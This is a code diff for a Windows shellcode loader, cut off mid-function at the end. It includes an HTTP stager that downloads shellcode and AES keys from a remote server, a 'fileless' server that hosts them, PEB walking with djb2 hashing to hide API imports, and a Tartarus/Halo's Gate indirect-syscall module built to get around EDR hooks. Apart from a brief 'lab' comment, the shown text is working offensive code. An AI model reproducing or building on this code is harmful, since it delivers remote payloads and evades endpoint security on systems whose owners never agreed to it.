|
||||
addrinfo* result = nullptr;
|
||||
const auto portStr = std::to_string(ep.port);
|
||||
if (ws.getaddrinfoFn(ep.host.c_str(), portStr.c_str(), &hints, &result) != 0) {
|
||||
Log::Dbg("getaddrinfo failed host=%s port=%s", ep.host.c_str(), portStr.c_str());
|
||||
return false;
|
||||
}
|
||||
Log::Dbg("getaddrinfo OK — connecting...");
|
||||
|
||||
SOCKET sock = INVALID_SOCKET;
|
||||
for (auto* ptr = result; ptr; ptr = ptr->ai_next) {
|
||||
sock = ws.socketFn(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
|
||||
if (sock == INVALID_SOCKET) {
|
||||
continue;
|
||||
}
|
||||
if (ws.connectFn(sock, ptr->ai_addr, static_cast<int>(ptr->ai_addrlen)) == 0) {
|
||||
Log::Sys("connected socket=%llu family=%d",
|
||||
static_cast<unsigned long long>(sock), ptr->ai_family);
|
||||
break;
|
||||
}
|
||||
ws.closesocketFn(sock);
|
||||
sock = INVALID_SOCKET;
|
||||
}
|
||||
ws.freeaddrinfoFn(result);
|
||||
|
||||
if (sock == INVALID_SOCKET) {
|
||||
Log::Dbg("connect failed to %s:%u", ep.host.c_str(), ep.port);
|
||||
return false;
|
||||
}
|
||||
|
||||
std::ostringstream req;
|
||||
req << "GET " << path << " HTTP/1.1\r\n"
|
||||
<< "Host: " << ep.host << "\r\n"
|
||||
<< "Connection: close\r\n\r\n";
|
||||
|
||||
const std::string reqStr = req.str();
|
||||
Log::Dbg("send request (%zu bytes)", reqStr.size());
|
||||
if (ws.sendFn(sock, reqStr.c_str(), static_cast<int>(reqStr.size()), 0) <= 0) {
|
||||
Log::Dbg("send failed");
|
||||
ws.closesocketFn(sock);
|
||||
return false;
|
||||
}
|
||||
|
||||
std::vector<std::uint8_t> response;
|
||||
char buf[4096];
|
||||
for (;;) {
|
||||
const int n = ws.recvFn(sock, buf, sizeof(buf), 0);
|
||||
if (n <= 0) {
|
||||
break;
|
||||
}
|
||||
response.insert(response.end(), buf, buf + n);
|
||||
}
|
||||
ws.closesocketFn(sock);
|
||||
Log::Dbg("recv total response=%zu bytes", response.size());
|
||||
|
||||
// Find end of HTTP headers
|
||||
const char* data = reinterpret_cast<const char*>(response.data());
|
||||
const char* hdrEnd = strstr(data, "\r\n\r\n");
|
||||
if (!hdrEnd) {
|
||||
Log::Dbg("no HTTP header terminator");
|
||||
return false;
|
||||
}
|
||||
const size_t bodyOff = (hdrEnd - data) + 4;
|
||||
|
||||
size_t contentLen = 0;
|
||||
const char* cl = strstr(data, "Content-Length:");
|
||||
if (cl && cl < hdrEnd) {
|
||||
contentLen = static_cast<size_t>(std::strtoul(cl + 15, nullptr, 10));
|
||||
}
|
||||
Log::Dbg("headers end @%zu Content-Length=%zu", bodyOff, contentLen);
|
||||
|
||||
if (contentLen > 0 && bodyOff + contentLen <= response.size()) {
|
||||
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff),
|
||||
response.begin() + static_cast<ptrdiff_t>(bodyOff + contentLen));
|
||||
} else if (bodyOff < response.size()) {
|
||||
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff), response.end());
|
||||
} else {
|
||||
body.clear();
|
||||
}
|
||||
Log::Info("HTTP body size=%zu for %s", body.size(), path);
|
||||
return true;
|
||||
}
|
||||
|
||||
std::string BuildHttpResponse(const std::vector<std::uint8_t>& body, const char* contentType) {
|
||||
std::ostringstream oss;
|
||||
oss << "HTTP/1.1 200 OK\r\n"
|
||||
<< "Content-Type: " << contentType << "\r\n"
|
||||
<< "Content-Length: " << body.size() << "\r\n"
|
||||
<< "Connection: close\r\n\r\n";
|
||||
std::string hdr = oss.str();
|
||||
std::string out = hdr;
|
||||
out.append(reinterpret_cast<const char*>(body.data()), body.size());
|
||||
return out;
|
||||
}
|
||||
|
||||
bool ReadFileBytes(const std::wstring& path, std::vector<std::uint8_t>& out) {
|
||||
std::ifstream f(path, std::ios::binary | std::ios::ate);
|
||||
if (!f.is_open()) {
|
||||
return false;
|
||||
}
|
||||
out.resize(static_cast<size_t>(f.tellg()));
|
||||
f.seekg(0);
|
||||
f.read(reinterpret_cast<char*>(out.data()), out.size());
|
||||
return true;
|
||||
}
|
||||
|
||||
void HandleClient(WinsockApi& ws, SOCKET client,
|
||||
const std::vector<std::uint8_t>& payload, const std::vector<std::uint8_t>& keyBlob,
|
||||
bool /*verbose*/) {
|
||||
char buf[2048] = {};
|
||||
const int nrecv = ws.recvFn(client, buf, sizeof(buf) - 1, 0);
|
||||
|
||||
// First request line only for clean logs
|
||||
char reqLine[128] = {};
|
||||
{
|
||||
size_t i = 0;
|
||||
while (i + 1 < sizeof(reqLine) && buf[i] && buf[i] != '\r' && buf[i] != '\n') {
|
||||
reqLine[i] = buf[i];
|
||||
++i;
|
||||
}
|
||||
}
|
||||
Log::Srv("accept client sock=%llu recv=%d req=\"%s\"",
|
||||
static_cast<unsigned long long>(client), nrecv, reqLine);
|
||||
|
||||
std::vector<std::uint8_t> response;
|
||||
const char* route = "404";
|
||||
size_t bodyBytes = 0;
|
||||
if (strstr(buf, "GET /api/v1/payload")) {
|
||||
route = "/api/v1/payload";
|
||||
bodyBytes = payload.size();
|
||||
auto http = BuildHttpResponse(payload, "application/octet-stream");
|
||||
response.assign(http.begin(), http.end());
|
||||
} else if (strstr(buf, "GET /api/v1/key")) {
|
||||
route = "/api/v1/key";
|
||||
bodyBytes = keyBlob.size();
|
||||
auto http = BuildHttpResponse(keyBlob, "application/octet-stream");
|
||||
response.assign(http.begin(), http.end());
|
||||
} else if (strstr(buf, "GET /api/v1/health")) {
|
||||
route = "/api/v1/health";
|
||||
bodyBytes = 2;
|
||||
const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK";
|
||||
response.assign(ok, ok + strlen(ok));
|
||||
} else {
|
||||
const char* nf = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n";
|
||||
response.assign(nf, nf + strlen(nf));
|
||||
}
|
||||
|
||||
const int nsent = ws.sendFn(client, reinterpret_cast<const char*>(response.data()),
|
||||
static_cast<int>(response.size()), 0);
|
||||
Log::Srv("reply route=%s body=%zu wire=%zu sent=%d",
|
||||
route, bodyBytes, response.size(), nsent);
|
||||
ws.closesocketFn(client);
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool ParseSource(const std::string& source, Endpoint& out) {
|
||||
out = {};
|
||||
out.port = 8080;
|
||||
|
||||
const auto colon = source.find(':');
|
||||
if (colon == std::string::npos) {
|
||||
out.host = source;
|
||||
return !out.host.empty();
|
||||
}
|
||||
|
||||
out.host = source.substr(0, colon);
|
||||
try {
|
||||
out.port = static_cast<std::uint16_t>(std::stoi(source.substr(colon + 1)));
|
||||
} catch (...) {
|
||||
return false;
|
||||
}
|
||||
return !out.host.empty();
|
||||
}
|
||||
|
||||
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body) {
|
||||
return HttpGet(ep, "/api/v1/payload", body);
|
||||
}
|
||||
|
||||
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body) {
|
||||
return HttpGet(ep, "/api/v1/key", body);
|
||||
}
|
||||
|
||||
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
|
||||
const std::vector<std::uint8_t>& keyBlob, bool verbose) {
|
||||
// Prefer explicit flag; also honor Log server channel if already enabled.
|
||||
if (verbose) {
|
||||
Log::SetServerVerbose(true);
|
||||
}
|
||||
|
||||
Log::SrvBanner("HTTP Bind");
|
||||
Log::Srv("WSAStartup + resolve passive 0.0.0.0:%u", port);
|
||||
|
||||
WinsockApi ws{};
|
||||
if (!EnsureWinsock(ws)) {
|
||||
Log::Srv("winsock load failed");
|
||||
return false;
|
||||
}
|
||||
Log::Srv("winsock APIs resolved (hash) + started");
|
||||
|
||||
addrinfo hints{};
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
hints.ai_flags = AI_PASSIVE;
|
||||
|
||||
addrinfo* result = nullptr;
|
||||
const auto portStr = std::to_string(port);
|
||||
if (ws.getaddrinfoFn(nullptr, portStr.c_str(), &hints, &result) != 0) {
|
||||
Log::Srv("getaddrinfo failed for port %s", portStr.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
SOCKET listenSock = ws.socketFn(result->ai_family, result->ai_socktype, result->ai_protocol);
|
||||
if (listenSock == INVALID_SOCKET) {
|
||||
Log::Srv("socket() failed");
|
||||
ws.freeaddrinfoFn(result);
|
||||
return false;
|
||||
}
|
||||
Log::Srv("listen socket=%llu", static_cast<unsigned long long>(listenSock));
|
||||
|
||||
int yes = 1;
|
||||
ws.setsockoptFn(listenSock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<const char*>(&yes), sizeof(yes));
|
||||
Log::Srv("SO_REUSEADDR=1");
|
||||
|
||||
if (ws.bindFn(listenSock, result->ai_addr, static_cast<int>(result->ai_addrlen)) != 0) {
|
||||
Log::Srv("bind failed on port %u", port);
|
||||
ws.closesocketFn(listenSock);
|
||||
ws.freeaddrinfoFn(result);
|
||||
return false;
|
||||
}
|
||||
ws.freeaddrinfoFn(result);
|
||||
Log::Srv("bind OK 0.0.0.0:%u", port);
|
||||
|
||||
if (ws.listenFn(listenSock, SOMAXCONN) != 0) {
|
||||
Log::Srv("listen failed");
|
||||
ws.closesocketFn(listenSock);
|
||||
return false;
|
||||
}
|
||||
Log::Srv("listen OK backlog=SOMAXCONN");
|
||||
|
||||
// Always show ready line; details only with --verbose
|
||||
Log::Ok("Fileless server listening on port %u (payload=%zu key=%zu)",
|
||||
port, payload.size(), keyBlob.size());
|
||||
Log::Srv("endpoints: GET /api/v1/payload | /api/v1/key | /api/v1/health");
|
||||
Log::Srv("waiting for clients...");
|
||||
|
||||
for (;;) {
|
||||
SOCKET client = ws.acceptFn(listenSock, nullptr, nullptr);
|
||||
if (client == INVALID_SOCKET) {
|
||||
Log::Srv("accept returned INVALID_SOCKET — retry");
|
||||
continue;
|
||||
}
|
||||
HandleClient(ws, client, payload, keyBlob, verbose);
|
||||
}
|
||||
}
|
||||
|
||||
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath) {
|
||||
std::vector<std::uint8_t> payload;
|
||||
std::vector<std::uint8_t> keyBlob;
|
||||
|
||||
if (!ReadFileBytes(payloadPath, payload)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Key is optional for non-encrypted payloads
|
||||
ReadFileBytes(keyPath, keyBlob);
|
||||
return RunServerMemory(port, payload, keyBlob, false);
|
||||
}
|
||||
|
||||
} // namespace HttpTransport
|
||||
@@ -0,0 +1,31 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
namespace HttpTransport {
|
||||
|
||||
struct Endpoint {
|
||||
std::string host;
|
||||
std::uint16_t port = 8080;
|
||||
bool useTls = false; // plain HTTP for lab
|
||||
};
|
||||
|
||||
// Parse host[:port] from --source argument.
|
||||
bool ParseSource(const std::string& source, Endpoint& out);
|
||||
|
||||
// GET /api/v1/payload — returns raw shellcode bytes (plain or AES ciphertext).
|
||||
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body);
|
||||
|
||||
// GET /api/v1/key — returns packed key material blob.
|
||||
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body);
|
||||
|
||||
// Run minimal HTTP server (Windows) — serves payload + key without exposing filenames.
|
||||
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath);
|
||||
|
||||
// Run server with in-memory blobs (after --enc AES).
|
||||
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
|
||||
const std::vector<std::uint8_t>& keyBlob, bool verbose = false);
|
||||
|
||||
} // namespace HttpTransport
|
||||
@@ -0,0 +1,125 @@
|
||||
#include "pe_parser.hpp"
|
||||
#include "../common/hashes.hpp"
|
||||
|
||||
#include <cstring>
|
||||
|
||||
namespace PeParser {
|
||||
|
||||
Peb* GetPeb() {
|
||||
#ifdef _WIN64
|
||||
return reinterpret_cast<Peb*>(__readgsqword(0x60));
|
||||
#else
|
||||
return reinterpret_cast<Peb*>(__readfsdword(0x30));
|
||||
#endif
|
||||
}
|
||||
|
||||
bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap) {
|
||||
if (!name.Buffer || name.Length == 0 || outCap == 0) {
|
||||
return false;
|
||||
}
|
||||
const int wcharCount = name.Length / sizeof(WCHAR);
|
||||
int written = WideCharToMultiByte(
|
||||
CP_ACP, 0, name.Buffer, wcharCount,
|
||||
out, static_cast<int>(outCap - 1), nullptr, nullptr);
|
||||
if (written <= 0) {
|
||||
return false;
|
||||
}
|
||||
out[written] = '\0';
|
||||
CharLowerA(out);
|
||||
return true;
|
||||
}
|
||||
|
||||
HMODULE GetModuleByHash(std::uint32_t moduleHash) {
|
||||
auto* peb = GetPeb();
|
||||
if (!peb || !peb->Ldr) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
auto* head = &peb->Ldr->InMemoryOrderModuleList;
|
||||
for (auto* link = head->Flink; link != head; link = link->Flink) {
|
||||
auto* entry = reinterpret_cast<LdrDataTableEntry*>(
|
||||
reinterpret_cast<BYTE*>(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks));
|
||||
|
||||
if (!entry->BaseDllName.Buffer) {
|
||||
continue;
|
||||
}
|
||||
|
||||
char narrow[MAX_PATH] = {};
|
||||
if (!WideToLowerAscii(entry->BaseDllName, narrow, sizeof(narrow))) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Match precomputed hash (api_hash constants) or runtime djb2 lowercase.
|
||||
if (Hashes::Djb2(narrow) == moduleHash || Hashes::Djb2Lower(narrow) == moduleHash) {
|
||||
return reinterpret_cast<HMODULE>(entry->DllBase);
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
HMODULE GetModuleByIndex(unsigned index) {
|
||||
auto* peb = GetPeb();
|
||||
if (!peb || !peb->Ldr) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
auto* head = &peb->Ldr->InMemoryOrderModuleList;
|
||||
unsigned i = 0;
|
||||
for (auto* link = head->Flink; link != head; link = link->Flink, ++i) {
|
||||
if (i == index) {
|
||||
auto* entry = reinterpret_cast<LdrDataTableEntry*>(
|
||||
reinterpret_cast<BYTE*>(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks));
|
||||
return reinterpret_cast<HMODULE>(entry->DllBase);
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module) {
|
||||
if (!module) {
|
||||
return nullptr;
|
||||
}
|
||||
auto* base = reinterpret_cast<BYTE*>(module);
|
||||
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(base);
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return nullptr;
|
||||
}
|
||||
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return nullptr;
|
||||
}
|
||||
return nt;
|
||||
}
|
||||
|
||||
FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash) {
|
||||
if (!module) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
auto* base = reinterpret_cast<BYTE*>(module);
|
||||
auto* nt = GetNtHeaders(module);
|
||||
if (!nt) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (dir.VirtualAddress == 0 || dir.Size == 0) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
auto* exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(base + dir.VirtualAddress);
|
||||
auto* names = reinterpret_cast<PDWORD>(base + exp->AddressOfNames);
|
||||
auto* ords = reinterpret_cast<PWORD>(base + exp->AddressOfNameOrdinals);
|
||||
auto* funcs = reinterpret_cast<PDWORD>(base + exp->AddressOfFunctions);
|
||||
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
|
||||
const char* exportName = reinterpret_cast<const char*>(base + names[i]);
|
||||
if (Hashes::Djb2(exportName) != exportHash) {
|
||||
continue;
|
||||
}
|
||||
return reinterpret_cast<FARPROC>(base + funcs[ords[i]]);
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
} // namespace PeParser
|
||||
@@ -0,0 +1,59 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
namespace PeParser {
|
||||
|
||||
// Minimal PEB/LDR structures (winternl.h is incomplete for InMemoryOrder walk).
|
||||
struct PeUnicodeString {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
};
|
||||
|
||||
struct LdrDataTableEntry {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
PVOID Reserved3[2];
|
||||
PeUnicodeString BaseDllName;
|
||||
};
|
||||
|
||||
struct PebLdrData {
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
};
|
||||
|
||||
struct Peb {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PebLdrData* Ldr;
|
||||
};
|
||||
|
||||
// Returns process environment block pointer (x64: GS:[0x60]).
|
||||
Peb* GetPeb();
|
||||
|
||||
// Walk PEB->Ldr->InMemoryOrderModuleList; match module by djb2 lowercase hash.
|
||||
HMODULE GetModuleByHash(std::uint32_t moduleHash);
|
||||
|
||||
// InMemoryOrder index: 0=exe, 1=ntdll, 2=kernel32 (typical load order).
|
||||
HMODULE GetModuleByIndex(unsigned index);
|
||||
|
||||
// Walk PE export directory; match export by djb2 hash (case-sensitive export name).
|
||||
FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash);
|
||||
|
||||
// Parse PE headers from module base.
|
||||
PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module);
|
||||
|
||||
// Convert wide module basename to lowercase ASCII for hashing.
|
||||
bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap);
|
||||
|
||||
} // namespace PeParser
|
||||
@@ -0,0 +1,65 @@
|
||||
#include "api_resolver.hpp"
|
||||
#include "../pe/pe_parser.hpp"
|
||||
#include "../common/hashes.hpp"
|
||||
|
||||
namespace ApiResolver {
|
||||
|
||||
static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName);
|
||||
|
||||
HMODULE GetNtdll() {
|
||||
auto* m = PeParser::GetModuleByHash(Hashes::H_NTDLL_DLL);
|
||||
return m ? m : PeParser::GetModuleByIndex(1);
|
||||
}
|
||||
|
||||
HMODULE GetKernel32() {
|
||||
auto* m = PeParser::GetModuleByHash(Hashes::H_KERNEL32_DLL);
|
||||
return m ? m : PeParser::GetModuleByIndex(2);
|
||||
}
|
||||
|
||||
HMODULE GetWs2_32() {
|
||||
return EnsureModule(Hashes::H_WS2_32_DLL, L"ws2_32.dll");
|
||||
}
|
||||
|
||||
HMODULE GetBcrypt() {
|
||||
return EnsureModule(Hashes::H_BCRYPT_DLL, L"bcrypt.dll");
|
||||
}
|
||||
|
||||
FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash) {
|
||||
return PeParser::GetExportByHash(module, exportHash);
|
||||
}
|
||||
|
||||
FARPROC ResolveNtdll(std::uint32_t exportHash) {
|
||||
return ResolveExport(GetNtdll(), exportHash);
|
||||
}
|
||||
|
||||
FARPROC ResolveWs2(std::uint32_t exportHash) {
|
||||
return ResolveExport(GetWs2_32(), exportHash);
|
||||
}
|
||||
|
||||
FARPROC ResolveBcrypt(std::uint32_t exportHash) {
|
||||
return ResolveExport(GetBcrypt(), exportHash);
|
||||
}
|
||||
|
||||
static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName) {
|
||||
HMODULE mod = PeParser::GetModuleByHash(moduleHash);
|
||||
if (mod) {
|
||||
return mod;
|
||||
}
|
||||
|
||||
auto* k32 = GetKernel32();
|
||||
if (!k32) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
using LoadLibraryW_t = HMODULE(WINAPI*)(LPCWSTR);
|
||||
auto* pLoad = reinterpret_cast<LoadLibraryW_t>(
|
||||
ResolveExport(k32, Hashes::H_LoadLibraryW));
|
||||
if (!pLoad || !fallbackName) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
mod = pLoad(fallbackName);
|
||||
return mod;
|
||||
}
|
||||
|
||||
} // namespace ApiResolver
|
||||
@@ -0,0 +1,19 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
namespace ApiResolver {
|
||||
|
||||
// Thin facade over PeParser for reusable dynamic resolution.
|
||||
HMODULE GetNtdll();
|
||||
HMODULE GetKernel32();
|
||||
HMODULE GetWs2_32();
|
||||
HMODULE GetBcrypt();
|
||||
|
||||
FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash);
|
||||
FARPROC ResolveNtdll(std::uint32_t exportHash);
|
||||
FARPROC ResolveWs2(std::uint32_t exportHash);
|
||||
FARPROC ResolveBcrypt(std::uint32_t exportHash);
|
||||
|
||||
} // namespace ApiResolver
|
||||
@@ -0,0 +1,236 @@
|
||||
#include "tartarus_gate.hpp"
|
||||
#include "../pe/pe_parser.hpp"
|
||||
#include "../resolve/api_resolver.hpp"
|
||||
#include "../common/hashes.hpp"
|
||||
|
||||
#include "../common/log.hpp"
|
||||
|
||||
#include <cstring>
|
||||
#include <iostream>
|
||||
#include <vector>
|
||||
|
||||
namespace TartarusGate {
|
||||
|
||||
namespace {
|
||||
|
||||
std::vector<PVOID> g_stubPages;
|
||||
|
||||
// Tartarus Gate: resolve SSN from export stub; if hooked (jmp), walk neighbors (Halo's Gate).
|
||||
std::uint32_t ExtractSSN(PBYTE stub) {
|
||||
// Unhooked x64 stub: 4C 8B D1 B8 imm32
|
||||
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {
|
||||
return *reinterpret_cast<DWORD*>(stub + 4);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::uint32_t HaloResolve(PBYTE stub) {
|
||||
for (int j = 1; j <= 500; ++j) {
|
||||
auto* down = stub + (j * 0x20);
|
||||
if (down[0] == 0x4C && down[1] == 0x8B && down[3] == 0xB8) {
|
||||
const auto neighbor = *reinterpret_cast<DWORD*>(down + 4);
|
||||
return neighbor - static_cast<std::uint32_t>(j);
|
||||
}
|
||||
auto* up = stub - (j * 0x20);
|
||||
if (up[0] == 0x4C && up[1] == 0x8B && up[3] == 0xB8) {
|
||||
const auto neighbor = *reinterpret_cast<DWORD*>(up + 4);
|
||||
return neighbor + static_cast<std::uint32_t>(j);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static HMODULE NtdllBase() {
|
||||
return ApiResolver::GetNtdll();
|
||||
}
|
||||
|
||||
static FARPROC NtdllExport(std::uint32_t hash) {
|
||||
return PeParser::GetExportByHash(NtdllBase(), hash);
|
||||
}
|
||||
|
||||
PVOID AllocStubPage(const void* code, size_t size) {
|
||||
// Bootstrap stub pages via direct ntdll exports (one-time); all runtime ops use indirect stubs.
|
||||
auto* pAlloc = reinterpret_cast<fnNtAllocateVirtualMemory>(
|
||||
NtdllExport(Hashes::H_NtAllocateVirtualMemory));
|
||||
auto* pProt = reinterpret_cast<fnNtProtectVirtualMemory>(
|
||||
NtdllExport(Hashes::H_NtProtectVirtualMemory));
|
||||
if (!pAlloc || !pProt) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
PVOID base = nullptr;
|
||||
SIZE_T region = size;
|
||||
if (!NT_SUCCESS(pAlloc(GetCurrentProcess(), &base, 0, ®ion,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || !base) {
|
||||
return nullptr;
|
||||
}
|
||||
std::memcpy(base, code, size);
|
||||
ULONG old = 0;
|
||||
PVOID protBase = base;
|
||||
SIZE_T protSize = region;
|
||||
if (!NT_SUCCESS(pProt(GetCurrentProcess(), &protBase, &protSize,
|
||||
PAGE_EXECUTE_READ, &old))) {
|
||||
return nullptr;
|
||||
}
|
||||
g_stubPages.push_back(base);
|
||||
return base;
|
||||
}
|
||||
|
||||
} // anonymous namespace
|
||||
|
||||
std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash) {
|
||||
if (!ntdll) {
|
||||
Log::Err("Unable to Resolve SSN %s");
|
||||
return 0;
|
||||
}
|
||||
|
||||
auto* base = reinterpret_cast<PBYTE>(ntdll);
|
||||
auto* nt = PeParser::GetNtHeaders(ntdll);
|
||||
if (!nt) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (!dir.VirtualAddress) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
auto* exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(base + dir.VirtualAddress);
|
||||
auto* names = reinterpret_cast<PDWORD>(base + exp->AddressOfNames);
|
||||
auto* ords = reinterpret_cast<PWORD>(base + exp->AddressOfNameOrdinals);
|
||||
auto* funcs = reinterpret_cast<PDWORD>(base + exp->AddressOfFunctions);
|
||||
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
|
||||
const char* exportName = reinterpret_cast<const char*>(base + names[i]);
|
||||
if (Hashes::Djb2(exportName) != exportHash) {
|
||||
continue;
|
||||
}
|
||||
|
||||
auto* stub = base + funcs[ords[i]];
|
||||
|
||||
// Tartarus: detect hook (jmp/call redirect).
|
||||
if (stub[0] == 0xE9 || stub[0] == 0xEB || stub[0] == 0xFF) {
|
||||
Log::Dbg("SSN resolve: hooked stub @ %p first=0x%02X — Halo's Gate",
|
||||
stub, stub[0]);
|
||||
return HaloResolve(stub);
|
||||
}
|
||||
|
||||
auto ssn = ExtractSSN(stub);
|
||||
if (ssn) {
|
||||
Log::Dbg("SSN resolve: clean stub @ %p SSN=%u", stub, ssn);
|
||||
return ssn;
|
||||
}
|
||||
Log::Dbg("SSN resolve: clean pattern miss @ %p — Halo's Gate", stub);
|
||||
return HaloResolve(stub);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
PVOID FindSyscallGadget(HMODULE ntdll) {
|
||||
if (!ntdll) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
auto* base = reinterpret_cast<PBYTE>(ntdll);
|
||||
auto* nt = PeParser::GetNtHeaders(ntdll);
|
||||
if (!nt) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
auto* sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i) {
|
||||
if (std::memcmp(sec[i].Name, ".text", 5) != 0) {
|
||||
continue;
|
||||
}
|
||||
PBYTE start = base + sec[i].VirtualAddress;
|
||||
DWORD size = sec[i].Misc.VirtualSize;
|
||||
for (DWORD off = 0; off + 2 < size; ++off) {
|
||||
// syscall; ret
|
||||
if (start[off] == 0x0F && start[off + 1] == 0x05 && start[off + 2] == 0xC3) {
|
||||
return start + off;
|
||||
}
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget) {
|
||||
if (!gadget || ssn == 0) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// mov r10, rcx | mov eax, SSN | jmp [rip+0] | dq gadget
|
||||
static const BYTE hdr[] = {
|
||||
0x4C, 0x8B, 0xD1,
|
||||
0xB8, 0x00, 0x00, 0x00, 0x00,
|
||||
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
BYTE buf[sizeof(hdr) + sizeof(PVOID)] = {};
|
||||
std::memcpy(buf, hdr, sizeof(hdr));
|
||||
*reinterpret_cast<DWORD*>(buf + 4) = ssn;
|
||||
*reinterpret_cast<PVOID*>(buf + sizeof(hdr)) = gadget;
|
||||
|
||||
PVOID page = AllocStubPage(buf, sizeof(buf));
|
||||
return page;
|
||||
}
|
||||
|
||||
bool BindSyscall(SyscallTable& table, std::uint32_t hash, PVOID& outStub, const char* debugTag) {
|
||||
auto* ntdll = ApiResolver::GetNtdll();
|
||||
const auto ssn = ResolveSSN(ntdll, hash);
|
||||
if (!ssn) {
|
||||
Log::Raw("TartarusGate SSN FAIL hash=0x%08X tag=%s", hash, debugTag);
|
||||
return false;
|
||||
}
|
||||
outStub = CreateIndirectStub(ssn, table.gadget);
|
||||
if (!outStub) {
|
||||
Log::Raw("TartarusGate STUB FAIL SSN=%u tag=%s", ssn, debugTag);
|
||||
return false;
|
||||
}
|
||||
Log::Raw("syscall %-28s SSN=%4u stub=%p gadget=%p", debugTag, ssn, outStub, table.gadget);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Initialize(SyscallTable& table) {
|
||||
auto* ntdll = ApiResolver::GetNtdll();
|
||||
if (!ntdll) {
|
||||
return false;
|
||||
}
|
||||
|
||||
table.gadget = FindSyscallGadget(ntdll);
|
||||
